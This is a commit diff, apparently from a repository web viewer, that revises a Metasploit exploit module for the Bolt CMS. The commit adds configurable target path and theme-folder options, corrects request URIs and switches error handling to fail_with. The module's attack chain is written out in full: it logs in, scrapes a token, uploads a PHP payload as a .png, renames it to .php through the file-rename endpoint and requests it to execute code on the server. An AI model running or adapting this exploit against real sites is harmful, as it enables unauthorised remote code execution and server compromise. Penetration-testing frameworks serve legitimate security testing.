Add fail_with method and other improvements
parent
f08cf97224
commit
48bd2c72a0
|
@ -39,15 +39,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||
OptString.new('FOLDERNAME', [true, 'The theme path to web application (base-2014 is default)', 'base-2014']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt')
|
||||
|
@ -64,22 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def fname
|
||||
datastore['FOLDERNAME']
|
||||
end
|
||||
|
||||
def bolt_login(user, pass)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
|
||||
)
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No response from server.")
|
||||
return
|
||||
end
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
|
||||
session_cookie = res.get_cookies
|
||||
vprint_status("#{peer} - Logging in...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'),
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
|
||||
'cookie' => session_cookie,
|
||||
'vars_post' => {
|
||||
'username' => user,
|
||||
|
@ -88,16 +91,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
)
|
||||
|
||||
if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
|
||||
return res.get_cookies
|
||||
end
|
||||
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
|
||||
nil
|
||||
end
|
||||
|
||||
def get_token(cookie)
|
||||
def get_token(cookie, fname)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
|
||||
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
|
@ -107,39 +108,32 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
nil
|
||||
end
|
||||
|
||||
def rename_payload(cookie, payload)
|
||||
def rename_payload(cookie, payload, fname)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'),
|
||||
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
|
||||
'vars_post' => {
|
||||
'namespace' => 'theme',
|
||||
'parent' => 'base-2014',
|
||||
'parent' => fname,
|
||||
'oldname' => "#{payload}.png",
|
||||
'newname' => "#{payload}.php"
|
||||
},
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
return true
|
||||
end
|
||||
return true if res && res.code == 200 && res.body.include?('1')
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
vprint_status("#{peer} - Authenticating using #{username}:#{password}...")
|
||||
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
|
||||
|
||||
cookie = bolt_login(username, password)
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Failed to authenticate with Bolt")
|
||||
return
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
|
||||
vprint_good("#{peer} - Authenticated with Bolt.")
|
||||
|
||||
token = get_token(cookie)
|
||||
if token.nil?
|
||||
print_error("#{peer} - No token found.")
|
||||
return
|
||||
end
|
||||
token = get_token(cookie, fname)
|
||||
fail_with(Failure::Unknown, 'No token found.') if token.nil?
|
||||
vprint_good("#{peer} - Token \"#{token}\" found.")
|
||||
|
||||
vprint_status("#{peer} - Preparing payload...")
|
||||
|
@ -153,34 +147,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vprint_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
|
||||
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.code == 302
|
||||
vprint_good("#{peer} - Uploaded the payload")
|
||||
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
|
||||
vprint_good("#{peer} - Uploaded the payload.")
|
||||
|
||||
rename = rename_payload(cookie, payload_name)
|
||||
if rename.nil?
|
||||
vprint_error("#{peer} - No renamed filename")
|
||||
return
|
||||
end
|
||||
rename = rename_payload(cookie, payload_name, fname)
|
||||
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
|
||||
|
||||
php_file_name = "#{payload_name}.php"
|
||||
payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name)
|
||||
vprint_good("#{peer} - Parsed response")
|
||||
php_file_name = "#{payload_name}.php"
|
||||
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
|
||||
vprint_status("#{peer} - Parsed response.")
|
||||
|
||||
register_files_for_cleanup(php_file_name)
|
||||
vprint_status("#{peer} - Executing the payload at #{payload_url}")
|
||||
send_request_cgi(
|
||||
'uri' => payload_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
vprint_good("#{peer} - Executed payload")
|
||||
else
|
||||
print_error("#{peer} - Exploit failed. Aborting.")
|
||||
end
|
||||
register_files_for_cleanup(php_file_name)
|
||||
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
|
||||
send_request_cgi(
|
||||
'uri' => payload_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue